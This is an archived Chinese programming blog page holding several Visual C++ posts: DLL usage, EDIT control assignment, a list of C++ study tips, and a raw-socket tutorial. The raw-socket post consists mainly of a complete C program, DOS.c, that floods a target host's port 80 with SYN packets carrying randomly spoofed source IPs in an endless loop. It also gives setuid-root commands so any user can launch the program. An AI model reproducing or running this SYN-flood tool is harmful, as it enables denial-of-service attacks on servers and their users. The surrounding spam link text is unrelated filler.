青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

<2025年11月>
2627282930311
2345678
9101112131415
16171819202122
23242526272829
30123456

統(tǒng)計(jì)

  • 隨筆 - 4
  • 文章 - 0
  • 評(píng)論 - 2
  • 引用 - 0

常用鏈接

留言簿(1)

隨筆檔案

搜索

  •  

最新評(píng)論

閱讀排行榜

評(píng)論排行榜

2009年4月26日

原始套接字

原始套接字
     我們?cè)谇懊嬉呀?jīng)學(xué)習(xí)過了網(wǎng)絡(luò)程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 里面我們一起來學(xué)習(xí)另外一種套接字--原始套接字(SOCK_RAW). 應(yīng)用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠?qū)崿F(xiàn)的功能. 注意原始套接字只能夠由有root權(quán)限的人創(chuàng)建.

10.1 原始套接字的創(chuàng)建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以創(chuàng)建一個(gè)原始套接字.根據(jù)協(xié)議的類型不同我們可以創(chuàng)建不同類型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細(xì)的情況查看 下面我們以一個(gè)實(shí)例來說明原始套接字的創(chuàng)建和使用

10.2 一個(gè)原始套接字的實(shí)例
還記得DOS是什么意思嗎?在這里我們就一起來編寫一個(gè)實(shí)現(xiàn)DOS的小程序. 下面是程序的源代碼

/********************   DOS.c                *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define DESTPORT         80        /* 要攻擊的端口(WEB)       */
#define LOCALPORT        8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
         fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
         exit(1);
}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
         host=gethostbyname(argv[1]);
         if(host==NULL)
         {
                 fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                 exit(1);
         }
         addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP創(chuàng)建一個(gè)TCP的原始套接字     ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
         fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
         exit(1);
}
/********   設(shè)置IP數(shù)據(jù)包格式,告訴系統(tǒng)內(nèi)核模塊IP數(shù)據(jù)包由我們自己來填寫   ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/****   沒有辦法,只用超級(jí)護(hù)用戶才可以使用原始套接字     *********/
setuid(getpid());

/*********   發(fā)送炸彈了!!!!           ****/
send_tcp(sockfd,&addr);
}



/*******   發(fā)送炸彈的實(shí)現(xiàn)    *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];   /**** 用來放置我們的數(shù)據(jù)包   ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;

/******* 我們的數(shù)據(jù)包實(shí)際上沒有任何內(nèi)容,所以長(zhǎng)度就是兩個(gè)結(jié)構(gòu)的長(zhǎng)度   ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/********   填充IP數(shù)據(jù)包的頭部,還記得IP的頭格式嗎?      ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;              /** 版本一般的是 4       **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數(shù)據(jù)包的頭部長(zhǎng)度   **/
ip->ip_tos=0;                    /** 服務(wù)類型             **/
ip->ip_len=htons(head_len);      /** IP數(shù)據(jù)包的長(zhǎng)度       **/
ip->ip_id=0;                     /** 讓系統(tǒng)去填寫吧       **/
ip->ip_off=0;                    /** 和上面一樣,省點(diǎn)時(shí)間 **/        
ip->ip_ttl=MAXTTL;               /** 最長(zhǎng)的時(shí)間    255     **/
ip->ip_p=IPPROTO_TCP;            /** 我們要發(fā)的是 TCP包   **/
ip->ip_sum=0;                    /** 校驗(yàn)和讓系統(tǒng)去做     **/
ip->ip_dst=addr->sin_addr;       /** 我們攻擊的對(duì)象       **/

/*******   開始填寫TCP數(shù)據(jù)包                            *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;            /** 目的端口     **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;                         /** 我要建立連接 **/
tcp->check=0;


/** 好了,一切都準(zhǔn)備好了.服務(wù)器,你準(zhǔn)備好了沒有?? ^_^   **/
while(1)
   {
/**   你不知道我是從那里來的,慢慢的去等吧!       **/
     ip->ip_src.s_addr=random();     

/** 什么都讓系統(tǒng)做了,也沒有多大的意思,還是讓我們自己來校驗(yàn)頭部吧 */
/**             下面這條可有可無     */
     tcp->check=check_sum((unsigned short *)tcp,
                 sizeof(struct tcphdr));
     sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
   }
}

/* 下面是首部校驗(yàn)和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
   short answer=0;

while(nleft>1)
{
   sum+=*w++;
   nleft-=2;
}
if(nleft==1)
{
   *(unsigned char *)(&answer)=*(unsigned char *)w;
   sum+=answer;
}
  
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

編譯一下,拿localhost做一下實(shí)驗(yàn),看看有什么結(jié)果.(千萬不要試別人的啊). 為了讓普通用戶可以運(yùn)行這個(gè)程序,我們應(yīng)該將這個(gè)程序的所有者變?yōu)閞oot,且 設(shè)置setuid位

[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS


10.3 總結(jié)
原始套接字和一般的套接字不同的是以前許多由系統(tǒng)做的事情,現(xiàn)在要由我們自己來做了. 不過這里面是不是有很多的樂趣呢. 當(dāng)我們創(chuàng)建了一個(gè)TCP套接字的時(shí)候,我們只是負(fù)責(zé)把我們要發(fā)送的內(nèi)容(buffer)傳遞給了系統(tǒng). 系統(tǒng)在收到我們的數(shù)據(jù)后,回自動(dòng)的調(diào)用相應(yīng)的模塊給數(shù)據(jù)加上TCP頭部,然后加上IP頭部. 再發(fā)送出去.而現(xiàn)在是我們自己創(chuàng)建各個(gè)的頭部,系統(tǒng)只是把它們發(fā)送出去. 在上面的實(shí)例中,由于我們要修改我們的源IP地址,所以我們使用了setsockopt函數(shù),如果我們只是修改TCP數(shù)據(jù),那么IP數(shù)據(jù)一樣也可以由系統(tǒng)來創(chuàng)建的.

posted @ 2009-04-26 18:24 梁少林 閱讀(887) | 評(píng)論 (1)編輯 收藏

2009年4月12日

dll的使用方法


首先要建立一個(gè)dll的資源,file->new->MFC appwizard(dll) 輸入工程的名字
  點(diǎn)擊 FINISH 然后點(diǎn)擊 OK
 你就可以開始創(chuàng)建你自己的dll資源了  我這里的DLL資源是一個(gè)圖片
 INSERT -》RESOURCE -》選擇BITMAP 單機(jī)IMPORT  找出要導(dǎo)入的圖片就可以了
注意圖片的后綴名是 .bmp 或 .ico 不能是其他格式的否則就用不了
  導(dǎo)入成功以后就可以編譯一下(不用運(yùn)行)
然后在工程文件的目錄中debug文件夾中就會(huì)有一個(gè) .dll 和.lib的文件(這兩個(gè)文件有用)
這樣你自己的DLL就建立成功了
 接下來的任務(wù)是如何把自己建立的DLL應(yīng)用到自己的程序中去
  打開工程建立一個(gè)基于對(duì)話框的應(yīng)用程序,放置一個(gè)picture(這個(gè)控件必須修改名字,否則無法定義成員變量)和一個(gè)button,把picture的type設(shè)置成和你加載的圖片一樣的格式(比如在DLL中你導(dǎo)入的是一個(gè).bmp的圖片,那就把type設(shè)置成bitmap,導(dǎo)入的是.ico的圖片 就設(shè)置成icon)
 然后就是給button增加單機(jī)響應(yīng)事件。
代碼如下:
 HINSTANCE hdll; //存儲(chǔ)加載的動(dòng)態(tài)連接庫(kù)的句柄
 HINSTANCE hcurrent;  //保存當(dāng)前句柄 以用于最后恢復(fù)到當(dāng)前
 hdll=::LoadLibrary("C:\\Program Files\\Microsoft Visual Studio\\MyProjects\\cbitmap\\Debug\\cbitmap.dll");
                  //加載你自己建立的DLL 這里有一個(gè)注意的地方 文件目錄之間要用 \\ 否則會(huì)有警告
 if(hdll)  //如果DLL不為空
 {
          hcurrent=AfxGetResourceHandle();  //獲取當(dāng)前的句柄
    AfxSetResourceHandle(hdll);  //設(shè)置成 DLL的句柄
    HBITMAP hbit=::LoadBitmap(hdll,MAKEINTRESOURCE(IDB_BITMAP1)); //第一個(gè)參數(shù) 用的是哪個(gè)對(duì)象就要設(shè)置成相應(yīng)的句柄 如果用的是本工程中的圖片就用 AfxGetInstanceHandle 或者是AfxGetApp->m_Instance;
  第二個(gè)參數(shù)是圖片的一個(gè)資源標(biāo)識(shí),要用MAKEINTRESOURCE 進(jìn)行轉(zhuǎn)換 非常要注意的是MAKEINTRESOURCE的參數(shù) 你導(dǎo)入的圖片在DLL中用的是什么名字 在這里也要用一樣的的名字 否則就會(huì)出錯(cuò)。
    m_pic.SetBitmap(hbit);
          AfxSetResourceHandle(hcurrent); //恢復(fù)到當(dāng)前句柄
 
 
 }
 AfxFreeLibrary(hdll);  釋放hdll
并不是代碼有了就可以用了 還需要一些準(zhǔn)備工作,第一個(gè) 將制作DLL產(chǎn)生的lib文件導(dǎo)入
 步驟:project ->add to project ->files 找到制作DLL產(chǎn)生的lib文件,將其導(dǎo)入
 還要在工程的頭文件中把制作DLL時(shí)產(chǎn)生的和工程名相同的頭文件用語句“#include "xx.h"”
 包含進(jìn)來。這里有一個(gè)小細(xì)節(jié)要注意,由于這個(gè)頭文件的目錄和我們現(xiàn)有工程的的目錄是不一樣的
  我們可以把這個(gè)頭文件直接復(fù)制到我們現(xiàn)有工程的目錄中即可。
 
這些工作做完了 我們就可以運(yùn)行我們的工程了

 


DLL中定義有兩種函數(shù):
---- 導(dǎo)出函數(shù)(exportfunction): 可以被其他模塊調(diào)用
---- 內(nèi)部函數(shù)(internalfunction): 只能在DLL內(nèi)部使用
---- 創(chuàng)建一個(gè)基于API的DLL.本例只定義了導(dǎo)出函數(shù).

---- 1.在FILE- >NEW- >PROJECTS中選擇"WIN32 Dynamic-Link Library"在Project Name中輸入 "a"按OK

---- 2.在FILE- >NEW- >FILES中選擇C++ SOURCE FILE,在FILE中輸入a.cpp,按OK

---- 在FILE- >NEW- >FILES中選擇TEXT文件,在FILE中輸入a.h,按OK

---- 在FILE- >NEW- >FILES中選擇TEXT文件,在FILE中輸入a.def,按OK

---- 3.源文件:

 file://---------------------------
 file://a.cpp
 #include < windows >
 WINAPI int add(int a,int b)
 { return (a+b);
 }
 file://---------------------------
 file://a.h
 WINAPI int add(int a,int b);
 file://---------------------------
 file://a.def
 LIBRARY      "aaa" ;指出DLL的名字
 DESCRIPTION  ''aaa Windows Dynamic Link Library''
 ;描述DLL的用途(此句可選)
 EXPORTS      add ;導(dǎo)出函數(shù)的名字

四.調(diào)用DLL的方法:
---- 1.通常我們?cè)谡{(diào)用DLL時(shí)所需的DLL文件必須位于以下三個(gè)目錄之一:
---- (1)Windows的系統(tǒng)目錄:\windows\system;

---- (2)DOS中path所指出的任何目錄;

---- (3)程序所在的目錄;

---- 同時(shí)應(yīng)注意管理好你的.lib文件和.h和文件

---- 2.建立一個(gè)工程,簡(jiǎn)單起見可建立一個(gè)控制臺(tái)應(yīng)用程序.

---- 3.在工程中引入a.lib:

---- (1)如果你的a.lib放在VC標(biāo)準(zhǔn)的LIB文件夾中.

   單擊Project- >Project Settings...
   在link選卡的object/library modules中加上a.lib即可

---- (2)如果你的a.lib不是放在VC標(biāo)準(zhǔn)的LIB文件夾中
   單擊Project- >Add to Project- >files...
   找到a.lib文件,按OK
< pre >
4.//------------------------
   file://call_a.cpp
   #include< stdio.h >
   #include "c:/a/a.h"
   void main(void)
   { int c=0;

  c=add(1,2);
  printf("1+2=%d",c);
   }
 file://本程序在VC5.0下調(diào)試通過

 

posted @ 2009-04-12 11:32 梁少林 閱讀(689) | 評(píng)論 (0)編輯 收藏
EDIT附值的方法

 給EDIT附值時(shí)的方法:
 (1)可以給EDIT控件添加CSTRING的成員變量,然后用 m_text=_T("hello");的形式給EDIT附值
      但這時(shí)候你就得必須在m_text=_T("hello");這句的前面加上UpdateData(TRUE);在后面加上
      UpdateData(FALSE); 其中UpdateData(TRUE);的作用是將EDIT中的內(nèi)容更新成員變量中,
      UpdateData(FALSE);的作用是將成員變量的內(nèi)容更新到EDIT中。
 (2)給EDIT添加CEDIT類型的變量,調(diào)用其中的SETWINDOWTEXT方法給EDIT附值,但是此時(shí)注意
       如果你為EDIT定義了CSTRING的成員變量就不用UpdateData(TRUE);和UpdateData(FALSE);
       因?yàn)槟闳绻€繼續(xù)使用,UpdateData(TRUE);將EDIT的內(nèi)容附值到了CSTRING類型變量,
       UpdateData(FALSE);又將CSTRING類型變量的內(nèi)容又附值到了EDIT中,這樣SETWINDOWTEXT
       函數(shù)就沒有作用了。
 (3) 因?yàn)榭丶彩怯蒀WIND類派生來的,所以可以先調(diào)用GetDlgItem(參數(shù)是控件的ID),返回的
       是CWIND類型的指針,然后用這個(gè)指針調(diào)用-》SetWindowText(內(nèi)容)就可以給EDIT附值了
       UpdateData(TRUE); UpdateData(FALSE);的要求和上面一樣。

posted @ 2009-04-12 11:29 梁少林 閱讀(371) | 評(píng)論 (0)編輯 收藏

2009年3月19日

學(xué)好c++50條

1.把C++當(dāng)成一門新的語言學(xué)習(xí)。
2.看《Thinking In C++》,不要看《C++變成死相》;
3.看《The C++ Programming Language》和《Inside The C++ Object Model》,不要因?yàn)樗麄兒茈y而我們自己是初學(xué)者所以就不看;
4.不要被VC、BCB、BC、MC、TC等詞匯所迷惑——他們都是集成開發(fā)環(huán)境,而我們要學(xué)的是一門語言;
5.不要放過任何一個(gè)看上去很簡(jiǎn)單的小編程問題——他們往往并不那么簡(jiǎn)單,或者可以引伸出很多知識(shí)點(diǎn);
6.會(huì)用Visual C++,并不說明你會(huì)C++;
7.學(xué)class并不難,template、STL、generic programming也不過如此——難的是長(zhǎng)期堅(jiān)持實(shí)踐和不遺余力的博覽群書;
8.如果不是天才的話,想學(xué)編程就不要想玩游戲——你以為你做到了,其實(shí)你的C++水平并沒有和你通關(guān)的能力一起變高——其實(shí)可以時(shí)刻記住:學(xué)C++是為了編游戲的;
9.看Visual C++的書,是學(xué)不了C++語言的;
10.浮躁的人容易說:XX語言不行了,應(yīng)該學(xué)YY;——是你自己不行了吧!?
11.浮躁的人容易問:我到底該學(xué)什么;——?jiǎng)e問,學(xué)就對(duì)了;
12.浮躁的人容易問:XX有錢途嗎;——建議你去搶銀行;
13.浮躁的人容易說:我要中文版!我英文不行!——不行?學(xué)呀!
14.浮躁的人容易問:XX和YY哪個(gè)好;——告訴你吧,都好——只要你學(xué)就行;
15.浮躁的人分兩種:a)只觀望而不學(xué)的人;b)只學(xué)而不堅(jiān)持的人;
16.把時(shí)髦的技術(shù)掛在嘴邊,還不如把過時(shí)的技術(shù)記在心里;
17.C++不僅僅是支持面向?qū)ο蟮某绦蛟O(shè)計(jì)語言;
18.學(xué)習(xí)編程最好的方法之一就是閱讀源代碼;
19.在任何時(shí)刻都不要認(rèn)為自己手中的書已經(jīng)足夠了;
20.請(qǐng)閱讀《The Standard C++ Bible》(中文版:標(biāo)準(zhǔn)C++寶典),掌握C++標(biāo)準(zhǔn);
21.看得懂的書,請(qǐng)仔細(xì)看;看不懂的書,請(qǐng)硬著頭皮看;
22.別指望看第一遍書就能記住和掌握什么——請(qǐng)看第二遍、第三遍;
23.請(qǐng)看《Effective C++》和《More Effective C++》以及《Exceptional C++》;
24.不要停留在集成開發(fā)環(huán)境的搖籃上,要學(xué)會(huì)控制集成開發(fā)環(huán)境,還要學(xué)會(huì)用命令行方式處理程序;
25.和別人一起討論有意義的C++知識(shí)點(diǎn),而不是爭(zhēng)吵XX行不行或者YY與ZZ哪個(gè)好;
26.請(qǐng)看《程序設(shè)計(jì)實(shí)踐》,并嚴(yán)格的按照其要求去做;
27.不要因?yàn)镃和C++中有一些語法和關(guān)鍵字看上去相同,就認(rèn)為它們的意義和作用完全一樣;
28.C++絕不是所謂的C的“擴(kuò)充”——如果C++一開始就起名叫Z語言,你一定不會(huì)把C和Z語言聯(lián)系得那么緊密;
29.請(qǐng)不要認(rèn)為學(xué)過XX語言再改學(xué)C++會(huì)有什么問題——你只不過又在學(xué)一門全新的語言而已;
30.讀完了《Inside The C++ Object Model》以后再來認(rèn)定自己是不是已經(jīng)學(xué)會(huì)了C++;
31.學(xué)習(xí)編程的秘訣是:編程,編程,再編程;
32.請(qǐng)留意下列書籍:《C++面向?qū)ο蟾咝Ь幊蹋–++ Effective Object-Oriented Software Construction)》《面向?qū)ο筌浖?gòu)造(Object-Oriented Software Construction)》《設(shè)計(jì)模式(Design Patterns)》《The Art of Computer Programming》;
33.記住:面向?qū)ο蠹夹g(shù)不只是C++專有的;
34.請(qǐng)把書上的程序例子親手輸入到電腦上實(shí)踐,即使配套光盤中有源代碼;
35.把在書中看到的有意義的例子擴(kuò)充;
36.請(qǐng)重視C++中的異常處理技術(shù),并將其切實(shí)的運(yùn)用到自己的程序中;
37.經(jīng)常回顧自己以前寫過的程序,并嘗試重寫,把自己學(xué)到的新知識(shí)運(yùn)用進(jìn)去;
38.不要漏掉書中任何一個(gè)練習(xí)題——請(qǐng)全部做完并記錄下解題思路;
39.C++語言和C++的集成開發(fā)環(huán)境要同時(shí)學(xué)習(xí)和掌握;
40.既然決定了學(xué)C++,就請(qǐng)堅(jiān)持學(xué)下去,因?yàn)閷W(xué)習(xí)程序設(shè)計(jì)語言的目的是掌握程序設(shè)計(jì)技術(shù),而程序設(shè)計(jì)技術(shù)是跨語言的;
41.就讓C++語言的各種平臺(tái)和開發(fā)環(huán)境去激烈的競(jìng)爭(zhēng)吧,我們要以學(xué)習(xí)C++語言本身為主;
42.當(dāng)你寫C++程序?qū)懙揭话雲(yún)s發(fā)現(xiàn)自己用的方法很拙劣時(shí),請(qǐng)不要馬上停手;請(qǐng)盡快將余下的部分粗略的完成以保證這個(gè)設(shè)計(jì)的完整性,然后分析自己的錯(cuò)誤并重新設(shè)計(jì)和編寫(參見43);
43.別心急,設(shè)計(jì)C++的class確實(shí)不容易;自己程序中的class和自己的class設(shè)計(jì)水平是在不斷的編程實(shí)踐中完善和發(fā)展的;
44.決不要因?yàn)槌绦?#8220;很小”就不遵循某些你不熟練的規(guī)則——好習(xí)慣是培養(yǎng)出來的,而不是一次記住的;
45.每學(xué)到一個(gè)C++難點(diǎn)的時(shí)候,嘗試著對(duì)別人講解這個(gè)知識(shí)點(diǎn)并讓他理解——你能講清楚才說明你真的理解了;
46.記錄下在和別人交流時(shí)發(fā)現(xiàn)的自己忽視或不理解的知識(shí)點(diǎn);
47.請(qǐng)不斷地對(duì)自己寫的程序提出更高的要求,哪怕你的程序版本號(hào)會(huì)變成Version 100.XX;
48.保存好你寫過的所有的程序——那是你最好的積累之一;
49.請(qǐng)不要做浮躁的人;
50.請(qǐng)熱愛C++!

posted @ 2009-03-19 20:11 梁少林 閱讀(323) | 評(píng)論 (1)編輯 收藏
僅列出標(biāo)題  
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美日韩午夜激情| 欧美激情精品久久久久久大尺度| 欧美一区二区三区播放老司机| 国产精品午夜在线观看| 狂野欧美一区| 久久理论片午夜琪琪电影网| 欧美一区二区高清在线观看| 欧美一区二区三区四区视频| 亚洲中午字幕| 久久精彩免费视频| 免费视频亚洲| 欧美日本国产精品| 国产精品嫩草久久久久| 国产精品系列在线| 激情欧美丁香| 亚洲精品资源| 亚洲欧美日韩高清| 裸体歌舞表演一区二区| 亚洲国产天堂久久综合| 亚洲精品影视| 小黄鸭精品密入口导航| 免费的成人av| 国产精品视频免费在线观看| 在线日本欧美| 亚洲欧美国产视频| 久久先锋影音av| 亚洲精品一区二区网址| 欧美综合二区| 欧美精品导航| 国产亚洲精品综合一区91| 亚洲精品免费在线观看| 午夜天堂精品久久久久| 欧美不卡视频一区| 亚洲一区二区久久| 另类综合日韩欧美亚洲| 国产精品成人一区二区三区夜夜夜| 国产日韩欧美一区| 日韩午夜免费| 欧美69视频| 亚洲尤物在线视频观看| 欧美国产一区二区| 狠狠色丁香久久婷婷综合_中| 一区二区三区蜜桃网| 久久夜色精品国产| 亚洲欧美日韩综合aⅴ视频| 老司机午夜精品视频| 国产偷久久久精品专区| 亚洲一区二区三区午夜| 欧美激情bt| 久久人人精品| 国产在线乱码一区二区三区| 欧美一级成年大片在线观看| 日韩视频免费| 欧美成人激情视频| 在线看无码的免费网站| 久久嫩草精品久久久久| 亚洲欧美日韩综合aⅴ视频| 欧美午夜片在线观看| 亚洲日本成人在线观看| 国产综合色精品一区二区三区| 99re6这里只有精品视频在线观看| 欧美一区二区黄| 国产精品亚洲精品| 亚洲免费在线观看视频| 99在线视频精品| 欧美精品尤物在线| 亚洲美女av网站| 亚洲国产天堂久久国产91| 蜜臀av一级做a爰片久久| 一区在线视频观看| 老**午夜毛片一区二区三区| 久久精品动漫| 一区二区三区无毛| 免费久久久一本精品久久区| 久久夜色撩人精品| 91久久久久久| 亚洲欧洲日产国码二区| 欧美日韩国产免费观看| 亚洲天堂成人在线视频| 亚洲午夜精品久久久久久浪潮| 国产精品国产三级国产普通话99 | 亚洲九九精品| 欧美片在线播放| 亚洲影院在线观看| 午夜精品久久久久久| 国产一区二区在线观看免费| 玖玖玖国产精品| 免费看亚洲片| 亚洲图片欧美日产| 欧美一区2区视频在线观看| 在线精品一区| 99精品视频一区| 国产欧美日韩另类视频免费观看| 久久久久国产精品www| 麻豆精品网站| 亚洲综合成人在线| 久久久久一区| 国产一区二区三区免费在线观看| 欧美国产第一页| 欧美吻胸吃奶大尺度电影| 欧美专区18| 欧美电影电视剧在线观看| 亚洲四色影视在线观看| 久久精品欧美日韩精品| 亚洲校园激情| 久久综合九色| 新片速递亚洲合集欧美合集| 欧美成人有码| 久久久久女教师免费一区| 欧美日韩国产成人在线91| 久久米奇亚洲| 国产精品豆花视频| 欧美激情一区二区三区全黄 | 亚洲欧美中日韩| 亚洲韩日在线| 久久国产一区二区| 欧美韩国日本一区| 国产精品网站在线观看| 欧美aa国产视频| 国产免费成人av| 亚洲茄子视频| 在线精品视频一区二区| 亚洲男女自偷自拍| 亚洲视频欧美在线| 欧美精品一区在线播放| 麻豆免费精品视频| 国产综合av| 亚洲欧美日韩中文在线制服| 亚洲一区二区三区高清不卡| 欧美国产一区在线| 欧美激情一区二区三区不卡| 在线日韩视频| 久久夜色精品| 噜噜噜噜噜久久久久久91| 国产亚洲一区二区三区在线观看| av成人激情| 亚洲一区二区精品| 欧美日韩亚洲高清一区二区| 欧美激情一区二区在线| 亚洲大胆av| 久久一区二区三区四区五区| 蜜臀av国产精品久久久久| 国产综合视频| 久久精品夜色噜噜亚洲a∨ | 你懂的一区二区| 黄色成人av网| 久久精品国产91精品亚洲| 久久频这里精品99香蕉| 在线观看一区| 欧美国产日韩精品免费观看| 亚洲人成网站色ww在线| 这里只有视频精品| 国产欧美 在线欧美| 久久精品av麻豆的观看方式 | 欧美风情在线| 亚洲精选在线观看| 国产精品家庭影院| 亚洲欧美一区二区三区极速播放 | 一区二区免费在线观看| 久久av一区二区三区漫画| 国内外成人免费激情在线视频网站| 久久国产精品一区二区三区四区| 久久躁日日躁aaaaxxxx| 夜夜嗨网站十八久久| 国产精品免费福利| 久久久亚洲国产天美传媒修理工| 欧美.www| 亚洲永久在线| 亚洲大片在线观看| 欧美电影在线| 亚洲欧美乱综合| 亚洲国产精品久久久久秋霞不卡| 亚洲影院污污.| 亚洲成人中文| 欧美视频中文在线看| 久久国产精品亚洲77777| 欧美激情视频一区二区三区不卡| 99视频日韩| 国产欧美一区二区白浆黑人| 亚洲国产精品一区二区久| 免费日韩成人| 亚洲一区在线观看视频| 久久成人综合视频| 1769国内精品视频在线播放| 欧美视频在线观看视频极品| 欧美一区二区三区婷婷月色| 免费在线观看日韩欧美| 欧美日韩精品一区二区在线播放 | 欧美日韩精品一本二本三本| 亚洲综合色自拍一区| 看欧美日韩国产| 日韩亚洲欧美在线观看| 韩国精品主播一区二区在线观看| 美女网站在线免费欧美精品| 一区二区欧美亚洲| 久热精品在线视频| 久久精品国产久精国产爱| 亚洲国产精品久久久久秋霞蜜臀 | 亚洲视频网在线直播| 久久中文精品|